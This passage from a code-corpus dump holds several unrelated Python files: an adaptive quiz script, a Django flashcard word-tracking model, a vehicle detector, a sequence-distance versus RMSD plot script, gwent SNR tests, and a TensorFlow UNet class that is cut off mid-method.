probab[kst.index(st)]-=factor/add\n else:\n if(correct == 1):\n probab[kst.index(st)]-=factor/sub\n else:\n probab[kst.index(st)]+=factor/sub\n sum2=0\n print(probab)\n for i in range(len(probab)):\n sum2 = sum2 + probab[i]\n print(\"Sum After: \"+str(sum2))\n if(sum1 == sum2):\n print(\"same\")\n else:\n print(\"diff\") \n return probab\ndef pcal(kst,domain):\n m_f=10**math.ceil((domain/2))\n dom = kst[-1]\n initial_probability = 1/len(kst)\n init = [0]*len(dom)\n probab = [initial_probability*m_f]*len(kst)\n \n start=probability.startState(domain,kst,dom,initial_probability,probab,init)\n ##print(start)\n total = len(kst)\n initial = [-1]*domain\n i,j = 0,0\n final = [-1]*domain\n for index in range(total):\n if initial[len(kst[index])-1] == -1:\n initial[len(kst[index])-1] = index\n final[len(kst[index])-1] = index\n else :\n final[len(kst[index])-1] = index\n f= open(\"Book3.csv\")\n csv_f=csv.reader(f) \n noq=5\n for x in range(noq):\n print(\"Start: \"+start)\n for t in kst:\n if(start in t):\n questate = t\n print(\"Questate: \")\n print(questate)\n break\n else:\n continue\n \n for row in csv_f:\n if(row[0].strip() == questate and str(row[7]) == str(0)):\n print(\"Question: \"+row[1])\n print(\"A: \"+row[2])\n print(\"B: \"+row[3])\n print(\"C: \"+row[4])\n print(\"D: \"+row[5])\n ans=\"\"\n ans = input(\"Type your Answer: \")\n if(str(ans) == str(row[6])):\n correct = 1\n else:\n correct = 0\n \n probab = probadjust(correct,kst,start,questate,domain,m_f,probab)\n row[7] = 1\n break\n if(questate == dom and correct == 1):\n print(\"Final State Reached\")\n print(\"State:\"+kst[6])\n break\n init[dom.index(start)] = 1\n start=probability.startState(domain,kst,dom,initial_probability,probab,init)\n f.close()\n return\n\npcal(kst,domain)\n","sub_path":"scan/app/Http/Controllers/scan/pcal.py","file_name":"pcal.py","file_ext":"py","file_size_in_byte":3101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"207626068","text":"from django.contrib.admin.utils import flatten\nfrom django.db import models\nfrom django.db.models import Case, When, Value, F, Max\nfrom django.db.models.functions import Greatest\nfrom django.utils.functional import cached_property\n\nfrom manabi.apps.flashcards.models import Fact, Card\nfrom manabi.apps.flashcards.models.constants import (\n MATURE_INTERVAL_MIN,\n)\nfrom manabi.apps.utils.japanese import is_kanji\n\n\ndef _kanji_in_reading(reading):\n kanji = set()\n for char in reading:\n if is_kanji(char):\n kanji.add(char)\n return [c for c in kanji]\n\n\nclass TrackedWords:\n def __init__(self, user):\n self.user = user\n self._tracked_words = None\n\n def _get_cards(self):\n return Card.objects.filter(\n owner=self.user,\n active=True,\n )\n\n def _get_tracked_words(self):\n '''\n Includes suspended cards (that the user may have already reviewed).\n '''\n if self._tracked_words is None:\n self._tracked_words = self._get_cards().annotate(\n is_new=Case(\n When(last_reviewed_at__isnull=True, then=Value(True)),\n default=Value(False),\n output_field=models.BooleanField(),\n ),\n is_mature=Case(\n When(interval__gte=MATURE_INTERVAL_MIN, then=Value(True)),\n default=Value(False),\n output_field=models.BooleanField(),\n ),\n reading=F('fact__reading'),\n ).distinct().values(\n 'jmdict_id', 'reading', 'is_new', 'is_mature',\n 'suspended', 'deck_suspended')\n return self._tracked_words\n\n @cached_property\n def last_modified(self):\n return self._get_cards().annotate(\n last_modified=Greatest(\n 'last_reviewed_at',\n 'created_or_modified_at',\n )\n ).aggregate(Max('last_modified'))['last_modified__max']\n\n @cached_property\n def suspended_jmdict_ids(self):\n return set(\n word['jmdict_id'] for word in self._get_tracked_words()\n if (word['suspended'] or word['deck_suspended'])\n and word['jmdict_id'] is not None\n )\n\n @cached_property\n def new_jmdict_ids(self):\n new_jmdict_ids = set(\n word['jmdict_id'] for word in self._get_tracked_words()\n if (\n word['is_new']\n and word['jmdict_id'] is not None\n )\n )\n new_jmdict_ids -= self.learning_jmdict_ids\n new_jmdict_ids -= self.known_jmdict_ids\n return new_jmdict_ids\n\n @cached_property\n def learning_jmdict_ids(self):\n learning_jmdict_ids = set(\n word['jmdict_id'] for word in self._get_tracked_words()\n if (\n not word['is_new']\n and not word['is_mature']\n and word['jmdict_id'] is not None\n )\n )\n learning_jmdict_ids -= self.known_jmdict_ids\n return learning_jmdict_ids\n\n @cached_property\n def known_jmdict_ids(self):\n return set(\n word['jmdict_id'] for word in self._get_tracked_words()\n if (\n word['is_mature']\n and word['jmdict_id'] is not None\n )\n )\n\n @cached_property\n def suspended_words_without_jmdict_ids(self):\n return set(\n word['reading'] for word in self._get_tracked_words()\n if (word['suspended'] or word['deck_suspended'])\n and word['jmdict_id'] is None\n )\n\n @cached_property\n def new_words_without_jmdict_ids(self):\n new_words = set(\n word['reading'] for word in self._get_tracked_words()\n if (\n word['is_new']\n and word['jmdict_id'] is None\n )\n )\n new_words -= self.learning_words_without_jmdict_ids\n new_words -= self.known_words_without_jmdict_ids\n return new_words\n\n @cached_property\n def learning_words_without_jmdict_ids(self):\n learning_words = set(\n word['reading'] for word in self._get_tracked_words()\n if (\n not word['is_new']\n and not word['is_mature']\n and word['jmdict_id'] is None\n )\n )\n learning_words -= self.known_words_without_jmdict_ids\n return learning_words\n\n @cached_property\n def known_words_without_jmdict_ids(self):\n return set(\n word['reading'] for word in self._get_tracked_words()\n if (\n word['is_mature']\n and word['jmdict_id'] is None\n )\n )\n\n @cached_property\n def learning_kanji(self):\n learning_kanji = set(flatten([\n _kanji_in_reading(word['reading'])\n for word in self._get_tracked_words()\n if (\n not word['is_new']\n and not word['is_mature']\n )\n ]))\n learning_kanji -= set(self.known_kanji)\n return ''.join(learning_kanji)\n\n @cached_property\n def known_kanji(self):\n return ''.join(set(flatten([\n _kanji_in_reading(word['reading'])\n for word in self._get_tracked_words()\n if word['is_mature']\n ])))\n","sub_path":"manabi/apps/word_tracking/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"98339119","text":"from util import extract_features, rgb, slide_window, draw_boxes, make_heatmap, get_hog_features, color_hist, bin_spatial\nimport cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.ndimage.measurements import label as label_image\nfrom skimage.filters.rank import windowed_histogram\nimport time\n\nclass Detector(object):\n def __init__(self, classifier, feature_parameters, shape, scaler, heat_threshold, alpha=1.0):\n self._alpha = alpha\n self._last_heatmap = None\n self._classifier = classifier\n self._feature_parameters = dict(feature_parameters)\n self._shape = shape\n self._scaler = scaler\n self._threshold = heat_threshold\n self._cspace = self._feature_parameters['cspace']\n del self._feature_parameters['cspace']\n\n def __call__(self, img, show_plots=False):\n hits = self.get_hits(img)\n heat = make_heatmap(img.shape[0:2], hits)\n if self._last_heatmap is None:\n self._last_heatmap = heat\n filtered_heat = (1-self._alpha) * self._last_heatmap + self._alpha * heat\n self._last_heatmap = filtered_heat\n binary = filtered_heat >= self._threshold\n labels = label_image(binary)\n boxes = []\n for i in range(labels[1]):\n y_points, x_points = np.where(labels[0] == i+1)\n box = ((np.min(x_points), np.min(y_points)),\n (np.max(x_points), np.max(y_points)))\n width = box[1][0] - box[0][0]\n height = box[1][1] - box[0][1]\n if width >= 32 and height >= 32:\n boxes.append(box)\n if show_plots:\n f, ((a0, a1), (a2, a3)) = plt.subplots(2, 2)\n a0.set_title('Raw Hits')\n a0.imshow(draw_boxes(rgb(img, self._cspace), hits))\n a1.set_title('Heatmap')\n a1.imshow(heat.astype(np.float32)/np.max(heat), cmap='gray')\n a2.set_title('Thresholded Heatmap')\n a2.imshow(binary, cmap='gray')\n a3.set_title('Label Image')\n a3.imshow(labels[0], cmap='gray')\n return boxes\n\n def get_hits(self, img, print_debug=False):\n pix_per_cell = self._feature_parameters['hog_pix_per_cell']\n x_cells_per_window = self._shape[1] // pix_per_cell - 1\n y_cells_per_window = self._shape[0] // pix_per_cell - 1\n scales = [\n (2.0, 0.0, [ 1/4, 3/4], [.55, .64]),\n (64/48, 0.5, [0, 1], [.5, .75]),\n (1.0, 0.5, [1/3, 2/3], [.55, .9]),\n (4/7, 0.75, [0, 1], [.5, .875]),\n (0.5, 0.75, [0, 1], [.5, .875])\n ]\n hits = []\n if self._feature_parameters['spatial_size']:\n spatial_scale_x = self._feature_parameters['spatial_size'][0] / self._shape[0]\n spatial_scale_y = self._feature_parameters['spatial_size'][1] / self._shape[1]\n for scale, overlap, x_range, y_range in scales:\n start_time = time.clock()\n start_hits = len(hits)\n # Calculate ROI to avoid processing more than we have to\n roi_x = (int(x_range[0] * img.shape[1]), int(x_range[1] * img.shape[1]))\n roi_y = (int(y_range[0] * img.shape[0]), int(y_range[1] * img.shape[0]))\n roi = img[roi_y[0]:roi_y[1], roi_x[0]:roi_x[1], :]\n # Scale the ROI\n scaled_shape = (int(roi.shape[1] * scale), int(roi.shape[0] * scale))\n scaled_roi = cv2.resize(roi, scaled_shape)\n # Calculate HOG features for whole scaled ROI at once\n if self._feature_parameters['hog_channel'] == 'ALL':\n hog = [get_hog_features(scaled_roi[:,:,c],\n orient = self._feature_parameters['hog_orient'],\n pix_per_cell = self._feature_parameters['hog_pix_per_cell'],\n cell_per_block = self._feature_parameters['hog_cell_per_block'],\n feature_vec=False) for c in range(scaled_roi.shape[-1])]\n else:\n c = self._feature_parameters['hog_channel']\n hog = [get_hog_features(scaled_roi[:,:,c],\n orient = self._feature_parameters['hog_orient'],\n pix_per_cell = self._feature_parameters['hog_pix_per_cell'],\n cell_per_block = self._feature_parameters['hog_cell_per_block'],\n feature_vec=False)]\n hog_shape = hog[0].shape\n # Calculate color features for whole scaled ROI at once\n hist_bins = self._feature_parameters['hist_bins']\n if hist_bins > 0:\n histo = [windowed_histogram((scaled_roi[:,:,c]*255/256*hist_bins).astype(np.uint8),\n selem=np.ones(self._shape),\n shift_x = -self._shape[1]/2,\n shift_y = -self._shape[0]/2,\n n_bins=self._feature_parameters['hist_bins']) for c in range(scaled_roi.shape[-1])]\n # Rescale whole ROI for spatial features\n if self._feature_parameters['spatial_size']:\n spatial_shape = (int(scaled_shape[0] * spatial_scale_y),\n int(scaled_shape[1] * spatial_scale_x))\n spatial = cv2.resize(scaled_roi, spatial_shape)\n # Calculate bounds for iterating over the HOG feature image\n x_start = 0\n x_stop = hog_shape[1] - x_cells_per_window + 1\n x_step = int((1 - overlap) * x_cells_per_window)\n y_start = 0\n y_stop = hog_shape[0] - y_cells_per_window + 1\n y_step = int((1 - overlap) * y_cells_per_window)\n for x in range(x_start, x_stop, x_step):\n for y in range(y_start, y_stop, y_step):\n # Extract color features\n if self._feature_parameters['hist_bins'] > 0:\n color_features = np.ravel([h[(y * pix_per_cell), (x * pix_per_cell), :].ravel() for h in histo])\n else:\n color_features = []\n\n # Extract spatial features\n if self._feature_parameters['spatial_size']:\n spatial_start_x = int(x*pix_per_cell * spatial_scale_x)\n spatial_end_x = spatial_start_x + self._feature_parameters['spatial_size'][0]\n spatial_start_y = int(y*pix_per_cell * spatial_scale_y)\n spatial_end_y = spatial_start_y + self._feature_parameters['spatial_size'][1]\n spatial_patch = spatial[spatial_start_y:spatial_end_y, spatial_start_x:spatial_end_x,:]\n spatial_features = np.ravel(spatial_patch)\n else:\n spatial_features = []\n # Extract hog features\n hog_features = np.ravel([h[y:y+y_cells_per_window, x:x+x_cells_per_window].ravel() for h in hog])\n\n # Create window (in unscaled image dimensions)\n window_start = (roi_x[0] + int(x/scale * pix_per_cell), roi_y[0] + int(y/scale * pix_per_cell))\n window_end = (int(window_start[0] + self._shape[1]/scale), int(window_start[1] + self._shape[0]/scale))\n\n # Vectorize features\n features = np.concatenate((spatial_features, color_features, hog_features))\n features = features.reshape(1, -1)\n features = self._scaler.transform(features)\n\n # Check if the window is a vehicle\n carness = self._classifier.decision_function(features)\n if carness > 0.3:\n hits.append((window_start, window_end, scale**2))\n end_time = time.clock()\n if print_debug:\n print(\"Scale {:.2f} found {} hits in {} seconds\".format(scale, len(hits) - start_hits, end_time - start_time))\n return hits\n","sub_path":"detector.py","file_name":"detector.py","file_ext":"py","file_size_in_byte":8047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"59141545","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\nimport argparse\nimport sys\nimport pandas as pd\nimport subprocess\nimport pdb\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy import stats\n#Arguments for argparse module:\nparser = argparse.ArgumentParser(description = '''A program that plots evolutionary distance according\n\tto ML estimations against structural distance in RMSD.''')\n \nparser.add_argument('seq_dist_file', nargs=1, type= str,\n default=sys.stdin, help = 'path to sequence distance file. ')\n\nparser.add_argument('RMSD_file', nargs=1, type= str,\n default=sys.stdin, help = 'path to file with TMalign output.')\n\n\n\n\n\nargs = parser.parse_args()\n\nseq_dist_file = args.seq_dist_file[0]\nRMSD_file = args.RMSD_file[0]\n\n#Read tsv file as pandas dataframe\nseq_dist_df = pd.read_csv(seq_dist_file, sep='\\t')#get ev_dist\nRMSD_df = pd.read_csv(RMSD_file, sep='\\t')#get RMSD\nif len(seq_dist_df) != len(RMSD_df):\n\traise ValueError('The dataframes are not of equal lengths')\n\n\ndef match_ids(seq_dist_df, RMSD_df):\n\t'''A function that matches the ids in each df and fetches the corresponding\n\tev_dist and RMSD.\n\t'''\n\n\tseq_distances = [] #Save sequence distances \n\tstructural_distances = [] #Save structural distances \n\n\tend = len(seq_dist_df) #Length of df\n\tfor i in range(0, end):\n\n\t\tuid1 = seq_dist_df['uid1'][i]\n\t\tuid2 = seq_dist_df['uid2'][i]\n\t\tseq_dist = seq_dist_df['MLdistance'][i]\n\t\tseq_distances.append(seq_dist.round(2)) #Add to list and round to tweo decimal points\n\t\t\t\t\t\t\t\t\t\t\t\t#since that is the highest accuracy (accuracy of RMSD from TMalign)\n\n\n\t\tfor j in range(0, end): #Go through df (Exhaustive search, but should not be that big of a problem since the search space is small)\n\t\t\tif RMSD_df['uid1'][j] == uid1 or RMSD_df['uid2'][j] == uid1: #Match to uid1\n\t\t\t\tif RMSD_df['uid1'][j] == uid2 or RMSD_df['uid2'][j] == uid2: #Match to uid2\n\t\t\t\t\tstructural_distances.append(RMSD_df['RMSD'][j])\n\n\n\treturn(seq_distances, structural_distances)\n\n(seq_distances, structural_distances) = match_ids(seq_dist_df, RMSD_df)\n\n#Calculate stats\n(slope, intercept, r_value, p_value, std_err) = stats.linregress(seq_distances, structural_distances)\n\n#Plot\nplt.scatter(seq_distances, structural_distances)\nplt.title('Defensin related' + '\\n' + 'R-squared: ' + str((r_value**2).round(3)))\nplt.xlabel('ML AA sequence distance')\nplt.ylabel('RMSD')\nplt.plot(seq_distances, intercept + slope*np.array(seq_distances), 'r')\nplt.show()\n\n#RMSD_df['uid1'] = np.select(RMSD_df['uid2']==ev_dist_df['uid2'])\n","sub_path":"ECOD/plot_dist_rmsd.py","file_name":"plot_dist_rmsd.py","file_ext":"py","file_size_in_byte":2534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"468506037","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Using `gwent` to Calculate Signal-to-Noise Ratios\n\n# Here we present a tutorial on how to use `gwent` to calculate SNRs for the instrument models currently implemented (LISA, PTAs, aLIGO, and Einstein Telescope) with the signal being an array of coalescing Binary Black Holes.\n\nimport numpy as np\nimport astropy.units as u\n\nimport pytest\n\nimport gwent\nfrom gwent import binary\nfrom gwent import detector\nfrom gwent import snr\nfrom gwent import snrplot\n\n# We need to get the file directories to load in the instrument files.\nload_directory = gwent.__path__[0] + '/LoadFiles/InstrumentFiles/'\n\n#Number of SNRMatrix rows\nsampleRate_y = 10\n#Number of SNRMatrix columns\nsampleRate_x = 10\n\n\n# ## Source Selection Function\n# Takes in a an instrument model that dictates reasonable mass ranges for the particular detector mass regime and instantiates a source with the variable ranges limited by the waveform calibration region.\n# The source parameters must be set (ie. M,q,z,chi1,chi2), but one only needs to set the minima and maxima of the selected SNR axes variables.\n\n#q = m2/m1 reduced mass\nq = 1.0\nq_min = 1.0\nq_max = 18.0\n\n#Chi = S_i*L/m_i**2, spins of each mass i\nchi1 = 0.0 #spin of m1\nchi2 = 0.0 #spin of m2\nchi_min = -0.85 #Limits of PhenomD for unaligned spins\nchi_max = 0.85\n\nz = 3.0 #Redshift\nz_min = 1e-2\nz_max = 1e3\n\n@pytest.fixture\ndef source_pta():\n #M = m1+m2 Total Mass\n M = 1e8\n M_min = 1e7\n M_max = 1e11\n \n source_pta = binary.BBHFrequencyDomain(M,q,z,chi1,chi2)\n source_pta.M = [M,M_min,M_max]\n source_pta.q = [q,q_min,q_max]\n source_pta.chi1 = [chi1,chi_min,chi_max]\n source_pta.chi2 = [chi2,chi_min,chi_max]\n source_pta.z = [z,z_min,z_max]\n\n return source_pta\n\n@pytest.fixture\ndef source_space_based():\n #M = m1+m2 Total Mass\n M = 1e6\n M_min = 1e1\n M_max = 1e10\n \n source_space_based = binary.BBHFrequencyDomain(M,q,z,chi1,chi2)\n source_space_based.M = [M,M_min,M_max]\n source_space_based.q = [q,q_min,q_max]\n source_space_based.chi1 = [chi1,chi_min,chi_max]\n source_space_based.chi2 = [chi2,chi_min,chi_max]\n source_space_based.z = [z,z_min,z_max]\n\n return source_space_based\n\n#NANOGrav calculation using 11.5yr parameters https://arxiv.org/abs/1801.01837\nT_obs = 15*u.yr #Observing time in years\nT_obs_min = 5*u.yr\nT_obs_max = 30*u.yr\n\nsigma = 100*u.ns.to('s')*u.s #rms timing residuals in seconds\nsigma_min = 100*u.ns.to('s')*u.s\nsigma_max = 500*u.ns.to('s')*u.s\n\nN_p = 18 #Number of pulsars\nN_p_min = 18\nN_p_max = 22\n\ncadence = 1/(2*u.wk.to('yr')*u.yr) #Avg observation cadence of 1 every 2 weeks in num/year\ncadence_min = 2/u.yr\ncadence_max = 1/(u.wk.to('yr')*u.yr)\n\n@pytest.fixture\ndef NANOGrav_WN():\n NANOGrav_WN = detector.PTA('NANOGrav',T_obs,N_p,sigma,cadence)\n NANOGrav_WN.T_obs = [T_obs,T_obs_min,T_obs_max]\n NANOGrav_WN.sigma = [sigma,sigma_min,sigma_max]\n NANOGrav_WN.N_p = [N_p,N_p_min,N_p_max]\n NANOGrav_WN.cadence = [cadence,cadence_min,cadence_max]\n return NANOGrav_WN\n\n@pytest.fixture\ndef NANOGrav_WN_RN():\n NANOGrav_WN_RN = detector.PTA('NANOGrav, WN and RN',T_obs,N_p,sigma,cadence,\n rn_amp=[1e-16,1e-12],rn_alpha=[-1/2,1.25])\n NANOGrav_WN_RN.T_obs = [T_obs,T_obs_min,T_obs_max]\n NANOGrav_WN_RN.sigma = [sigma,sigma_min,sigma_max]\n NANOGrav_WN_RN.N_p = [N_p,N_p_min,N_p_max]\n NANOGrav_WN_RN.cadence = [cadence,cadence_min,cadence_max]\n return NANOGrav_WN_RN\n\n@pytest.fixture\ndef NANOGrav_WN_GWB():\n NANOGrav_WN_RN = detector.PTA('NANOGrav, WN and RN',T_obs,N_p,sigma,cadence,\n GWB_amp=4e-16,GWB_alpha=-2/3)\n NANOGrav_WN_RN.T_obs = [T_obs,T_obs_min,T_obs_max]\n NANOGrav_WN_RN.sigma = [sigma,sigma_min,sigma_max]\n NANOGrav_WN_RN.N_p = [N_p,N_p_min,N_p_max]\n NANOGrav_WN_RN.cadence = [cadence,cadence_min,cadence_max]\n return NANOGrav_WN_RN\n\n \nsigma = 10*u.ns.to('s')*u.s #rms timing residuals in nanoseconds\nsigma_min = 10*u.ns.to('s')*u.s\nsigma_max = 100*u.ns.to('s')*u.s\nN_p = 20 #Number of pulsars\ncadence = 1/(u.wk.to('yr')*u.yr) #Avg observation cadence of 1 every week in num/year\n \n@pytest.fixture\ndef SKA():\n SKA = detector.PTA('SKA',T_obs,N_p,sigma,cadence)\n SKA.T_obs = [T_obs,T_obs_min,T_obs_max]\n SKA.sigma = [sigma,sigma_min,sigma_max]\n SKA.N_p = [N_p,N_p_min,N_p_max]\n SKA.cadence = [cadence,cadence_min,cadence_max]\n return SKA\n \n\n#L3 proposal\n#Default Params from https://arxiv.org/abs/1702.00786\nT_obs = 4*u.yr #Observing time in years\nT_obs_min = 1*u.yr\nT_obs_max = 10*u.yr\n\nL = 2.5e9*u.m #armlength in meters\nL_min = 1.0e7*u.m\nL_max = 1.0e11*u.m\n\nA_acc = 3e-15*u.m/u.s/u.s\nA_acc_min = 1e-16*u.m/u.s/u.s\nA_acc_max = 1e-14*u.m/u.s/u.s\n\nf_acc_break_low = .4*u.mHz.to('Hz')*u.Hz\nf_acc_break_low_min = .1*u.mHz.to('Hz')*u.Hz\nf_acc_break_low_max = 1.0*u.mHz.to('Hz')*u.Hz\n\nf_acc_break_high = 8.*u.mHz.to('Hz')*u.Hz\nf_acc_break_high_min = 1.*u.mHz.to('Hz')*u.Hz\nf_acc_break_high_max = 10.*u.mHz.to('Hz')*u.Hz\n\nf_IFO_break = 2.*u.mHz.to('Hz')*u.Hz\nf_IFO_break_min = 1.*u.mHz.to('Hz')*u.Hz\nf_IFO_break_max = 5.*u.mHz.to('Hz')*u.Hz\n\nA_IFO = 10e-12*u.m\nA_IFO_min = 1.0e-12*u.m\nA_IFO_max = 2.0e-11*u.m\n\nBackground = False\nT_type = 'N'\n \n@pytest.fixture\ndef LISA_ESA():\n LISA_ESA = detector.SpaceBased('LISA_ESA',T_obs,L,A_acc,f_acc_break_low,f_acc_break_high,A_IFO,f_IFO_break,Background=Background,T_type=T_type)\n LISA_ESA.T_obs = [T_obs,T_obs_min,T_obs_max]\n LISA_ESA.L = [L,L_min,L_max]\n LISA_ESA.A_acc = [A_acc,A_acc_min,A_acc_max]\n LISA_ESA.f_acc_break_low = [f_acc_break_low,f_acc_break_low_min,f_acc_break_low_max]\n LISA_ESA.f_acc_break_high = [f_acc_break_high,f_acc_break_high_min,f_acc_break_high_max]\n LISA_ESA.A_IFO = [A_IFO,A_IFO_min,A_IFO_max]\n LISA_ESA.f_IFO_break = [f_IFO_break,f_IFO_break_min,f_IFO_break_max]\n return LISA_ESA\n\n\n# ## SNR Calculation\n# ### Global Source Params for all Fiducial Detectors\n# \n# * 'M' - Mass (Solar Units)\n# * 'q' - Mass Ratio\n# * 'chi1' - Dimensionless Spin of Black Hole 1\n# * 'chi2' - Dimensionless Spin of Black Hole 2\n# * 'z' - Redshift\n\n# ### Global Detector Params\n# * 'T_obs' - Detector Observation Time\n\n#Variable on x-axis\nvar_x = 'M'\n# ## Create of SNR Matrices and Samples for all models\n\n# ### PTA Only Params\n# \n# * 'N_p' - Number of Pulsars\n# * 'sigma' - Root-Mean-Squared Timing Error\n# * 'cadence' - Observation Cadence\n#Variable on y-axis\nvar_ys_ptas = ['q','chi1','chi2','T_obs','N_p','sigma','cadence']\ndef test_NANOGrav_WN_params(source_pta,NANOGrav_WN):\n for var_y in var_ys_ptas:\n [sample_x,sample_y,SNRMatrix] = snr.Get_SNR_Matrix(source_pta,NANOGrav_WN,\n var_x,sampleRate_x,\n var_y,sampleRate_y)\ndef test_NANOGrav_WN_RN_params(source_pta,NANOGrav_WN_RN):\n for var_y in var_ys_ptas:\n [sample_x,sample_y,SNRMatrix] = snr.Get_SNR_Matrix(source_pta,NANOGrav_WN_RN,\n var_x,sampleRate_x,\n var_y,sampleRate_y)\ndef test_NANOGrav_WN_GWB_params(source_pta,NANOGrav_WN_GWB):\n for var_y in var_ys_ptas:\n [sample_x,sample_y,SNRMatrix] = snr.Get_SNR_Matrix(source_pta,NANOGrav_WN_GWB,\n var_x,sampleRate_x,\n var_y,sampleRate_y)\ndef test_SKA_params(source_pta,SKA):\n for var_y in var_ys_ptas:\n [sample_x,sample_y,SNRMatrix] = snr.Get_SNR_Matrix(source_pta,SKA,\n var_x,sampleRate_x,\n var_y,sampleRate_y)\n\n\n# ### LISA Only Params\n# \n# * 'L' - Detector Armlength\n# * 'A_acc' - Detector Acceleration Noise\n# * 'A_IFO' - Detector Optical Metrology Noise\n# * 'f_acc_break_low' - The Low Acceleration Noise Break Frequency\n# * 'f_acc_break_high' - The High Acceleration Noise Break Frequency\n# * 'f_IFO_break' - The Optical Metrology Noise Break Frequency\nvar_ys_LISA = ['q','chi1','chi2','T_obs','L','A_acc','A_IFO','f_acc_break_low','f_acc_break_high','f_IFO_break']\n\ndef test_LISA_params(source_space_based,LISA_ESA):\n for var_y in var_ys_LISA:\n [sample_x,sample_y,SNRMatrix] = snr.Get_SNR_Matrix(source_space_based,LISA_ESA,\n var_x,sampleRate_x,\n var_y,sampleRate_y)\n\n\n\n\n","sub_path":"tests/test_calcSNR.py","file_name":"test_calcSNR.py","file_ext":"py","file_size_in_byte":8551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"501149395","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport prepare_data\n\nclass UNet:\n def __init__(self, classes):\n self.IMAGE_DIR = './dataset/raw_images'\n self.SEGMENTED_DIR = './dataset/segmented_images'\n self.VALIDATION_DIR = './dataset/validation'\n self.classes = classes\n self.X = tf.placeholder(tf.float32, [None, 128, 128, 3]) \n self.y = tf.placeholder(tf.int16, [None, 128, 128, self.classes])\n self.is_training = tf.placeholder(tf.bool)\n\n\n @staticmethod\n def conv2d(\n inputs, filters, kernel_size=3, activation=tf.nn.relu, l2_reg=None, \n momentum=0.9, epsilon=0.001, is_training=False,\n ):\n \"\"\"\n convolutional layer. If the l2_reg is a float number, L2 regularization is imposed.\n \n Parameters\n ----------\n inputs: tf.Tensor\n filters: Non-zero positive integer\n The number of the filter \n activation: \n The activation function. The default is tf.nn.relu\n l2_reg: None or float\n The strengthen of the L2 regularization\n is_training: tf.bool\n The default is False. If True, the batch normalization layer is added.\n momentum: float\n The hyper parameter of the batch normalization layer\n epsilon: float\n The hyper parameter of the batch normalization layer\n\n Returns\n -------\n layer: tf.Tensor\n \"\"\"\n regularizer = tf.contrib.layers.l2_regularizer(scale=l2_reg) if l2_reg is not None else None\n layer = tf.layers.conv2d(\n inputs=inputs,\n filters=filters,\n kernel_size=kernel_size,\n padding='SAME',\n activation=activation,\n kernel_regularizer=regularizer\n )\n\n if is_training is not None:\n layer = tf.layers.batch_normalization(\n inputs=layer,\n axis=-1,\n momentum=momentum,\n epsilon=epsilon,\n center=True,\n scale=True,\n training=is_training\n )\n\n return layer\n\n\n @staticmethod\n def trans_conv(inputs, filters, kernel_size=2, strides=2, l2_reg=None):\n \"\"\"\n transposed convolution layer.\n\n Parameters\n ---------- \n inputs: tf.Tensor\n filters: int \n the number of the filter\n kernel_size: int\n the kernel size. Default = 2\n strides: int\n strides. Default = 2\n l2_reg: None or float \n the strengthen of the L2 regularization.\n\n Returns\n -------\n layer: tf.Tensor\n \"\"\"\n regularizer = tf.contrib.layers.l2_regularizer(scale=l2_reg) if l2_reg is not None else None\n\n layer = tf.layers.conv2d_transpose(\n inputs=inputs,\n filters=filters,\n kernel_size=kernel_size,\n strides=strides,\n kernel_regularizer=regularizer\n )\n\n return layer\n\n\n @staticmethod\n def pooling(inputs):\n return tf.layers.max_pooling2d(inputs=inputs, pool_size=2, strides=2)\n\n\n def UNet(self, is_training, l2_reg=None):\n \"\"\"\n UNet structure.\n\n Parameters\n ----------\n l2_reg: None or float\n The strengthen of the L2 regularization.\n is_training: tf.bool\n Whether the session is for training or validation.\n\n Returns\n -------\n outputs: tf.Tensor\n \"\"\"\n conv1_1 = self.conv2d(self.X, filters=64, l2_reg=l2_reg, is_training=is_training)\n conv1_2 = self.conv2d(conv1_1, filters=64, l2_reg=l2_reg, is_training=is_training)\n pool1 = self.pooling(conv1_2)\n\n conv2_1 = self.conv2d(pool1, filters=128, l2_reg=l2_reg, is_training=is_training)\n conv2_2 = self.conv2d(conv2_1, filters=128, l2_reg=l2_reg, is_training=is_training)\n pool2 = self.pooling(conv2_2)\n\n conv3_1 = self.conv2d(pool2, filters=256, l2_reg=l2_reg, is_training=is_training)\n conv3_2 = self.conv2d(conv3_1, filters=256, l2_reg=l2_reg, is_training=is_training)\n pool3 = self.pooling(conv3_2)\n\n conv4_1 = self.conv2d(pool3, filters=512, l2_reg=l2_reg, is_training=is_training)\n conv4_2 = self.conv2d(conv4_1, filters=512, l2_reg=l2_reg, is_training=is_training)\n pool4 = self.pooling(conv4_2)\n\n conv5_1 = self.conv2d(pool4, filters=1024, l2_reg=l2_reg)\n conv5_2 = self.conv2d(conv5_1, filters=1024, l2_reg=l2_reg)\n concat1 = tf.concat([conv4_2, self.trans_conv(conv5_2, filters=512, l2_reg=l2_reg)], axis=3)\n\n conv6_1 = self.conv2d(concat1, filters=512, l2_reg=l2_reg)\n conv6_2 = self.conv2d(conv6_1, filters=512, l2_reg=l2_reg)\n concat2 = tf.concat([conv3_2, self.trans_conv(conv6_2, filters=256, l2_reg=l2_reg)], axis=3)\n\n conv7_1 = self.conv2d(concat2, filters=256, l2_reg=l2_reg)\n conv7_2 = self.conv2d(conv7_1, filters=256, l2_reg=l2_reg)\n concat3 = tf.concat([conv2_2, self.trans_conv(conv7_2, filters=128, l2_reg=l2_reg)], axis=3)\n\n conv8_1 = self.conv2d(concat3, filters=128, l2_reg=l2_reg)\n conv8_2 = self.conv2d(conv8_1, filters=128, l2_reg=l2_reg)\n concat4 = tf.concat([conv1_2, self.trans_conv(conv8_2, filters=64, l2_reg=l2_reg)], axis=3)\n\n conv9_1 = self.conv2d(concat4, filters=64, l2_reg=l2_reg)\n conv9_2 = self.conv2d(conv9_1, filters=64, l2_reg=l2_reg)\n outputs = self.conv2d(conv9_2, filters=self.classes, kernel_size=1, activation=None)\n\n return outputs\n\n\n def train(self, parser):\n 